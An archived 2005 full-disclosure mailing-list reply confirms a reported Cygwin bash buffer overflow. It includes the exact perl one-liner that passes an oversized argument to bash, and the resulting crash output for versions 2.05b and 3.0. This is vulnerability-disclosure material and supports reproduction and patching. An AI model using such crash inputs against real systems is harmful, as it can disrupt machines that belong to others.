[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    RE: [Full-disclosure] Cygwin Bash Buffer Overflow (Cosmin Stejerean)
From:       "Paul Melson" <psmelson () comcast ! net>
Date:       2005-05-31 15:00:24
Message-ID: 20050531150028.37D58D8 () lists ! grok ! org ! uk
[Download RAW message or body]

>
> Which version of bash for Cygwin? I tried your PoC on the latest version
of Cygwin and everything was fine.
>

I'm able to reproduce it using 2.05b-17 (latest default) and 3.0-2:

$ bash --version
GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
Copyright (C) 2002 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
    130 [main] bash 2876 cmalloc: cmalloc returned NULL
Segmentation fault


$ bash --version
GNU bash, version 3.00.16(2)-release (i686-pc-cygwin)
Copyright (C) 2004 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
      6 [main] bash 3496 cmalloc: cmalloc returned NULL


PaulM


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic